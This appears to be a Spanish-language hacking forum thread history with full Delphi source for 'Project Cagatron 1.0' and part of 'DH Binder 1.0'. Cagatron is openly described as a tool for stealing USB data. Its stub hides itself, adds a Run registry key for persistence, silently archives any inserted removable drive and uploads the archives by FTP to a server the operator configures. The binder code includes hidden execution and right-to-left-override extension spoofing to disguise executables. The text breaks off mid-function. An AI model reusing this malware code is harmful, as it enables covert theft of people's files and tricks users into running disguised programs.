  for numero := 1 to Length(texto) do
  begin
    contenido := contenido + Char(integer(texto[numero]) xor clave);
  end;
  Result := contenido;
end;

function regex(text: string; deaca: string; hastaaca: string): string;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function leer_eof(ruta, delimitador1, delimitador2: string;
  clave: integer): string;
var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  resultado: string;

begin

  ob := INVALID_HANDLE_VALUE;
  code := '';

  ob := CreateFile(pchar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;

  resultado := regex(code, delimitador1, delimitador2);
  resultado := xor_now(resultado, clave);
  Result := resultado;

end;

function escribir_eof(ruta, delimitador1, delimitador2, texto: string;
  clave: integer): bool;
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;

begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  begin
    linea := delimitador1 + xor_now(texto, clave) + delimitador2;
    StrCopy(code, pchar(linea));
    aca := CreateFile(pchar(ruta), GENERIC_WRITE, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (aca <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(aca, 0, nil, FILE_END);
      WriteFile(aca, code, 9999, nose, nil);
      CloseHandle(aca);
      Result := True;
    end
    else
    begin
      Result := False;
    end;
  end;
end;

function escribir_recurso(ruta: string; datos: string; clave: integer): bool;
var
  escribiendo: THandle;
begin
  datos := xor_now('-0x646F646479206861636B6D616E-' + datos +
    '-0x646F646479206861636B6D616E-', clave);
  escribiendo := BeginUpdateResource(pchar(ruta), False);
  UpdateResource(escribiendo, MakeIntResource(10), 'CONFIGURATION', 0,
    pchar(datos), (Length(datos) + 1) * SizeOf(datos[1]));
  EndUpdateResource(escribiendo, False);
  Result := True;
end;

function leyendo_recurso: string;
var
  leyendo1: HRSRC;
  leyendo2: DWORD;
  leyendo3: THandle;
  leyendo4: pointer;
begin
  leyendo1 := FindResource(hInstance, 'CONFIGURATION', RT_RCDATA);
  leyendo2 := SizeofResource(hInstance, leyendo1);
  leyendo3 := LoadResource(hInstance, leyendo1);
  leyendo4 := LockResource(leyendo3);
  if leyendo4 <> nil then
  begin
    SetLength(Result, leyendo2 - 1);
    CopyMemory(@Result[1], leyendo4, leyendo2);
    FreeResource(leyendo3);
  end;
end;

function leer_recurso(clave: integer): string;
var
  datos: string;
begin
  datos := xor_now(leyendo_recurso, clave);
  datos := regex(datos, '-0x646F646479206861636B6D616E-',
    '-0x646F646479206861636B6D616E-');
  Result := datos;
end;

end.

// The End ?


Eso seria todo.

--========--
  The End ?
--========--

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Version en VideoTutorial :

#114
Python / Re:[Python-Pygame] E.T Must Die 0.3
Marzo 09, 2015, 11:56:02 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Si tengo Python 2.7 64bit no funciona?

deberia , pero no lo eh probado.
#115
Dudas y pedidos generales / Re:Particiones
Marzo 06, 2015, 06:14:58 PM
deberias poner un screenshot mejor , te recomiendo que uses otros colores o te vas a quedar ciego xD.
#116
Delphi / Re:[Delphi] Project Cagatron 1.0
Marzo 06, 2015, 04:08:23 PM
ok  , gracias por las sugerencias , es raro pense que le habia agregado lo que de se cargue cada vez que inicia Windows , ya tengo lo que necesito para la siguiente version.
#117
Delphi / Re:[Delphi] Project Cagatron 1.0
Marzo 06, 2015, 03:25:31 PM
ok  , gracias , todavia le faltan muchas cosas que corregir y agregar , si lo probas decime las sugerencias para la nueva version que voy hacer.
#118
Delphi / [Delphi] Project Cagatron 1.0
Marzo 06, 2015, 12:59:44 PM
Un simple programa en Delphi para robar los datos de un USB con las siguientes opciones :

  • Detecta cualquier USB conectado a la computadora
  • Comprime los datos un archivo comprimido en una carpeta oculta de la computadora
  • Permite la opcion de enviar los datos por FTP o dejarlos en la computadora

    Una imagen :



    Los codigos :

    El generador.

    Código: delphi

    // Project Cagatron 1.0
    // (C) Doddy Hackman 2015
    // Based on Ladron by Khronos

    unit caga;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
      ShellApi,
      Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
      IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;

    type
      TForm1 = class(TForm)
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        TabSheet2: TTabSheet;
        TabSheet3: TTabSheet;
        StatusBar1: TStatusBar;
        PageControl2: TPageControl;
        TabSheet4: TTabSheet;
        usb_found: TListView;
        TabSheet5: TTabSheet;
        TabSheet6: TTabSheet;
        GroupBox1: TGroupBox;
        Label1: TLabel;
        ftp_host: TEdit;
        Label2: TLabel;
        ftp_user: TEdit;
        Label3: TLabel;
        ftp_pass: TEdit;
        Label4: TLabel;
        ftp_path: TEdit;
        GroupBox2: TGroupBox;
        enter_usb: TEdit;
        Button1: TButton;
        Button2: TButton;
        GroupBox3: TGroupBox;
        upload_ftp_server: TRadioButton;
        TabSheet7: TTabSheet;
        GroupBox4: TGroupBox;
        console: TMemo;
        TabSheet8: TTabSheet;
        only_logs: TRadioButton;
        logs: TListView;
        rutas: TListBox;
        menu: TPopupMenu;
        L1: TMenuItem;
        IdFTP1: TIdFTP;
        buscar_usb: TTimer;
        otromenu: TPopupMenu;
        S1: TMenuItem;
        opcion_text: TEdit;
        PageControl3: TPageControl;
        TabSheet9: TTabSheet;
        TabSheet10: TTabSheet;
        GroupBox5: TGroupBox;
        Label5: TLabel;
        Label6: TLabel;
        Label7: TLabel;
        Label8: TLabel;
        ftp_host2: TEdit;
        ftp_user2: TEdit;
        ftp_pass2: TEdit;
        ftp_path2: TEdit;
        GroupBox7: TGroupBox;
        directorios: TComboBox;
        GroupBox6: TGroupBox;
        foldername: TEdit;
        Button3: TButton;
        GroupBox8: TGroupBox;
        Image1: TImage;
        Label9: TLabel;
        Image2: TImage;
        GroupBox9: TGroupBox;
        hide_file: TCheckBox;
        upload_ftp: TCheckBox;
        procedure FormCreate(Sender: TObject);
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure list_files;
        procedure L1Click(Sender: TObject);
        procedure buscar_usbTimer(Sender: TObject);
        procedure S1Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    function usb_name(checked: Char): string;
    // Based on http://delphitutorial.info/get-volume-name.html
    var
      uno, dos: DWORD;
      resultnow: array [0 .. MAX_PATH] of Char;
    begin
      try
        GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
          nil, uno, dos, nil, 0);
        Result := StrPas(resultnow);
      except
        Result := checked;
      end;
    end;

    function check_drive(target: string): boolean;
    var
      a, b, c: cardinal;
    begin
      Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
    end;

    function file_size(target: String): integer;
    var
      busqueda: TSearchRec;
    begin
      Result := 0;
      try
        begin
          if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
            busqueda) = 0 then
          begin
            repeat
              Inc(Result);
            until FindNext(busqueda) <> 0;
            System.SysUtils.FindClose(busqueda);
          end;
        end;
      except
        Result := 0;
      end;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      if not DirectoryExists('logs') then
      begin
        CreateDir('logs');
      end;
      Chdir('logs');
      list_files;
    end;

    procedure TForm1.L1Click(Sender: TObject);
    begin
      ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
        SW_SHOWNORMAL);
    end;

    procedure TForm1.list_files;
    var
      search: TSearchRec;
      ext: string;
      fecha1: integer;
    begin

      logs.Items.Clear();
      rutas.Items.Clear();

      FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
        faAnyFile, search);
      while FindNext(search) = 0 do
      begin
        ext := ExtractFileExt(search.Name);
        if (ext = '.zip') then
        begin
          with logs.Items.Add do
          begin
            fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
              search.Name);
            rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
              search.Name);
            Caption := search.Name;
            SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
          end;
        end;
      end;
      FindClose(search);
    end;

    procedure TForm1.S1Click(Sender: TObject);
    begin
      opcion_text.Text := usb_found.Selected.Caption;
      enter_usb.Text := usb_found.Selected.SubItems[1];
    end;

    procedure TForm1.buscar_usbTimer(Sender: TObject);
    var
      unidad: Char;
    begin
      usb_found.Items.Clear();
      for unidad := 'C' to 'Z' do
      begin
        if (check_drive(PChar(unidad + ':\')) = True) and
          (GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
        begin
          with usb_found.Items.Add do
          begin
            Caption := usb_name(unidad);
            SubItems.Add(IntToStr(file_size(unidad + ':\')));
            SubItems.Add(unidad + ':\');
          end;
        end;
      end;
    end;

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      with TFileOpenDialog.Create(nil) do
        try
          Options := [fdoPickFolders];
          if Execute then
            enter_usb.Text := Filename;
        finally
          Free;
        end;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      zipnow: I7zOutArchive;
      busqueda: TSearchRec;
      code: string;
      dirnow: string;
      guardar: string;

    begin

      dirnow := enter_usb.Text;

      if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
      then
      begin
        CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
          PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
      end;

      if not(opcion_text.Text = '') then
      begin
        guardar := opcion_text.Text + '.zip';
      end
      else
      begin
        guardar := ExtractFileName(dirnow) + '.zip';
      end;

      StatusBar1.Panels[0].Text := '[+] Saving ...';
      Form1.StatusBar1.Update;

      console.Lines.Add('[+] Saving ..');

      zipnow := CreateOutArchive(CLSID_CFormat7z);
      SetCompressionLevel(zipnow, 9);
      SevenZipSetCompressionMethod(zipnow, m7LZMA);

      if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
        busqueda) = 0 then
      begin
        repeat
          if (busqueda.Attr = faDirectory) then
          begin
            if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
            begin
              console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
              // StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
              // Form1.StatusBar1.Update;
              zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
                '*.*', True);
            end;
          end
          else
          begin
            console.Lines.Add('[+] Saving File : ' + busqueda.Name);
            // StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
            // Form1.StatusBar1.Update;
            zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
          end;
        until FindNext(busqueda) <> 0;
        System.SysUtils.FindClose(busqueda);
      end;

      zipnow.SaveToFile(guardar);

      if (upload_ftp_server.checked) then
      begin
        IdFTP1.Host := ftp_host.Text;
        IdFTP1.Username := ftp_user.Text;
        IdFTP1.Password := ftp_pass.Text;
        try
          IdFTP1.Connect;
        except
          StatusBar1.Panels[0].Text := '[-] Error Uploading';
          Form1.StatusBar1.Update;
        end;

        StatusBar1.Panels[0].Text := '[+] Uploading ...';
        Form1.StatusBar1.Update;

        IdFTP1.ChangeDir(ftp_path.Text);
        IdFTP1.Put(guardar, guardar, False);
      end;

      list_files;

      console.Lines.Add('[+] Ready');

      StatusBar1.Panels[0].Text := '[+] Ready';
      Form1.StatusBar1.Update;

      opcion_text.Text := '';

    end;

    procedure TForm1.Button3Click(Sender: TObject);
    var
      lineafinal: string;
      hidefile: string;
      uploadftp: string;
      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      stubgenerado: string;

    begin

      if (hide_file.checked) then
      begin
        hidefile := '1';
      end
      else
      begin
        hidefile := '0';
      end;

      if (upload_ftp.checked) then
      begin
        uploadftp := '1';
      end
      else
      begin
        uploadftp := '0';
      end;

      lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
        directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
        '[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
        + '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
        ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
        '[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      stubgenerado := 'cagatron_ready.exe';

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
        'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
        '/' + stubgenerado), True);

      CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
        PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);

      StrCopy(code, PChar(lineafinal));
      aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
        '/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;

    end;

    end.

    // The End ?


    El Stub.

    Código: delphi

    // Project Cagatron 1.0
    // (C) Doddy Hackman 2015
    // Based on Ladron by Khronos

    program cagatron_server;

    {$APPTYPE GUI}
    {$R *.res}

    uses
      SysUtils, WinInet, Windows, sevenzip;

    var
      directorio, directorio_final, carpeta, nombrereal, yalisto: string;
      hide_op: string;
      registro: HKEY;
      ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
      online: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

      // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure comprimir(dirnow, guardar: string);
    var
      zipnow: I7zOutArchive;
      busqueda: TSearchRec;
    begin

      zipnow := CreateOutArchive(CLSID_CFormat7z);
      SetCompressionLevel(zipnow, 9);
      SevenZipSetCompressionMethod(zipnow, m7LZMA);

      if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
        busqueda) = 0 then
      begin
        repeat
          if (busqueda.Attr = faDirectory) then
          begin
            if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
            begin
              zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
                '*.*', True);
            end;
          end
          else
          begin
            zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
          end;
        until FindNext(busqueda) <> 0;
        System.SysUtils.FindClose(busqueda);
      end;

      zipnow.SaveToFile(guardar);

      if (hide_op = '1') then
      begin
        SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
      end;

    end;

    function usb_name(checked: Char): string;
    // Based on http://delphitutorial.info/get-volume-name.html
    var
      uno, dos: DWORD;
      resultnow: array [0 .. MAX_PATH] of Char;
    begin
      try
        GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
          nil, uno, dos, nil, 0);
        Result := StrPas(resultnow);
      except
        Result := checked;
      end;
    end;

    function check_drive(target: string): boolean;
    var
      a, b, c: cardinal;
    begin
      Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
    end;

    function check_file_ftp(host, username, password, archivo: pchar): integer;
    var
      controluno: HINTERNET;
      controldos: HINTERNET;
      abriendo: HINTERNET;
      valor: integer;

    begin

      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
      controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
        username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);

      abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
        FTP_TRANSFER_TYPE_BINARY, 0);
      valor := ftpGetFileSize(abriendo, nil);

      InternetCloseHandle(controldos);
      InternetCloseHandle(controluno);

      Result := valor;

    end;

    procedure upload_ftpfile(host, username, password, filetoupload,
      conestenombre: pchar);

    // Credits :
    // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
    // Thanks to Omair Iqbal

    var
      controluno: HINTERNET;
      controldos: HINTERNET;

    begin

      try

        begin
          controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
          controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
            username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
          ftpPutFile(controldos, filetoupload, conestenombre,
            FTP_TRANSFER_TYPE_BINARY, 0);
          InternetCloseHandle(controldos);
          InternetCloseHandle(controluno);
        end
      except
        //
      end;
    end;

    procedure buscar_usb;
    var
      unidad: Char;
      usb_target, usb_nombre: string;
    begin
      while (1 = 1) do
      begin
        Sleep(5000);
        for unidad := 'C' to 'Z' do
        begin
          if (check_drive(pchar(unidad + ':\')) = True) and
            (GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
          begin
            usb_target := unidad + ':\';
            usb_nombre := usb_name(unidad) + '.zip';
            if not(FileExists(usb_nombre)) then
            begin
              // Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
              comprimir(usb_target, usb_nombre);
              // Writeln('[+] Saved');
              if (ftp_op = '1') then
              begin
                // Writeln('[+] Checking file in FTP ...');
                if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
                  pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
                then
                begin
                  // Writeln('[+] Uploading ...');
                  upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
                    pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
                  // Writeln('[+] Done');
                end
                else
                begin
                  // Writeln('[+] File exists');
                end;
              end;
            end;
          end;
        end;
      end;
    end;

    begin

      try

        ob := INVALID_HANDLE_VALUE;
        code := '';

        ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
          OPEN_EXISTING, 0, 0);
        if (ob <> INVALID_HANDLE_VALUE) then
        begin
          SetFilePointer(ob, -9999, nil, FILE_END);
          ReadFile(ob, code, 9999, nose, nil);
          CloseHandle(ob);
        end;

        todo := regex(code, '[63686175]', '[63686175]');
        todo := dhencode(todo, 'decode');

        directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
        carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
        directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
        hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));

        ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
        ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
        ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
        ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
        ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

        online := pchar(regex(todo, '[online]', '[online]'));

        if (online = '1') then
        begin
          nombrereal := ExtractFileName(paramstr(0));
          yalisto := directorio_final + '/' + nombrereal;

          if not(DirectoryExists(directorio_final)) then
          begin
            CreateDir(directorio_final);
          end;

          // CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
          MoveFile(pchar(paramstr(0)), pchar(yalisto));
          if (hide_op = '1') then
          begin
            SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
          end;
          if (FileExists('7z.dll')) then
          begin
            // CopyFile(pchar('7z.dll'),
            // pchar(directorio_final + '/' + '7z.dll'), False);
            MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
            if (hide_op = '1') then
            begin
              SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
                FILE_ATTRIBUTE_HIDDEN);
            end;
          end;

          ChDir(directorio_final);

          if (hide_op = '1') then
          begin
            SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
          end;

          try
            begin
              RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
                REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
              RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
              RegCloseKey(registro);
            end;
          except
            //
          end;

          // Writeln('[+] Searching USB ...');

          BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);

          while (1 = 1) do
            Sleep(5000);
        end
        else
        begin
          // Writeln('[+] Offline');
        end;

      except
        on E: Exception do
          Writeln(E.ClassName, ': ', E.Message);
      end;

    end.

    // The End ?


    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

    Eso seria todo.
#119
Delphi / [Delphi] DH Binder 1.0
Febrero 27, 2015, 12:58:05 PM
Nueva version de este simple binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado
  • El builder incluye un File Pumper,Icon Changer y Extension Spoofer

    Una imagen :



    Los codigos :

    El generador.

    Código: delphi

    // DH Binder 1.0
    // (C) Doddy Hackman 2015
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    unit binder;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
      Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
      StrUtils;

    type
      TForm1 = class(TForm)
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        TabSheet2: TTabSheet;
        TabSheet3: TTabSheet;
        PageControl2: TPageControl;
        TabSheet4: TTabSheet;
        TabSheet5: TTabSheet;
        GroupBox1: TGroupBox;
        PageControl3: TPageControl;
        TabSheet6: TTabSheet;
        TabSheet7: TTabSheet;
        TabSheet8: TTabSheet;
        files: TListView;
        StatusBar1: TStatusBar;
        GroupBox2: TGroupBox;
        archivo_nuevo: TEdit;
        Button1: TButton;
        GroupBox3: TGroupBox;
        execute: TComboBox;
        abrir: TOpenDialog;
        GroupBox4: TGroupBox;
        Button2: TButton;
        GroupBox5: TGroupBox;
        extraction: TComboBox;
        GroupBox6: TGroupBox;
        opcion_ocultar: TCheckBox;
        check_filepumper: TCheckBox;
        GroupBox7: TGroupBox;
        GroupBox8: TGroupBox;
        pumper_count: TEdit;
        UpDown1: TUpDown;
        pumper_type: TComboBox;
        check_extension_changer: TCheckBox;
        GroupBox9: TGroupBox;
        check_extension: TCheckBox;
        extensiones: TComboBox;
        GroupBox10: TGroupBox;
        check_this_extension: TCheckBox;
        extension: TEdit;
        GroupBox11: TGroupBox;
        ruta_icono: TEdit;
        Button3: TButton;
        GroupBox12: TGroupBox;
        use_icon_changer: TCheckBox;
        preview: TImage;
        imagenes: TImageList;
        menu: TPopupMenu;
        C1: TMenuItem;
        Image2: TImage;
        GroupBox13: TGroupBox;
        Button4: TButton;
        TabSheet9: TTabSheet;
        GroupBox14: TGroupBox;
        Image3: TImage;
        Label1: TLabel;
        D1: TMenuItem;
        abrir_icono: TOpenDialog;
        procedure Button1Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure Button4Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure D1Click(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    procedure file_pumper(archivo: string; cantidad: LongWord);
    var
      arraycantidad: array of Byte;
      abriendo: TFileStream;
    begin
      abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
      SetLength(arraycantidad, cantidad);
      ZeroMemory(@arraycantidad[1], cantidad);
      abriendo.Seek(0, soFromEnd);
      abriendo.Write(arraycantidad[0], High(arraycantidad));
      abriendo.Free;
    end;

    procedure extension_changer(archivo: string; extension: string);
    var
      nombre: string;
    begin
      nombre := ExtractFileName(archivo);
      nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
        [rfReplaceAll, rfIgnoreCase]);
      nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
      MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      if (abrir.execute) then
      begin
        archivo_nuevo.Text := abrir.FileName;
      end;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      icono: TIcon;
      listate: TListItem;
      getdata: SHFILEINFO;
    begin

      if (FileExists(archivo_nuevo.Text)) then
      begin
        icono := TIcon.Create;
        files.Items.BeginUpdate;

        with files do
        begin

          listate := files.Items.Add;

          listate.Caption := ExtractFileName(archivo_nuevo.Text);
          listate.SubItems.Add(archivo_nuevo.Text);
          listate.SubItems.Add(ExtractFileExt(archivo_nuevo.Text));
          listate.SubItems.Add(execute.Text);

          SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
            SHGFI_ICON or SHGFI_SMALLICON);
          icono.Handle := getdata.hIcon;
          listate.ImageIndex := imagenes.AddIcon(icono);

          DestroyIcon(getdata.hIcon);

        end;

        files.Items.EndUpdate;

        archivo_nuevo.Text := '';

        StatusBar1.Panels[0].Text := '[+] File Added';
        Form1.StatusBar1.Update;
      end
      else
      begin
        StatusBar1.Panels[0].Text := '[-] File not exists';
        Form1.StatusBar1.Update;
      end;

    end;

    procedure TForm1.Button3Click(Sender: TObject);
    begin
      if (abrir_icono.execute) then
      begin
        ruta_icono.Text := abrir_icono.FileName;
        preview.Picture.LoadFromFile(abrir_icono.FileName);
      end;
    end;

    procedure TForm1.Button4Click(Sender: TObject);
    var
      i: integer;
      nombre: string;
      ruta: string;
      tipo: string;
      savein: string;
      opcionocultar: string;
      lineafinal: string;
      uno: DWORD;
      tam: DWORD;
      dos: DWORD;
      tres: DWORD;
      todo: Pointer;
      change: DWORD;
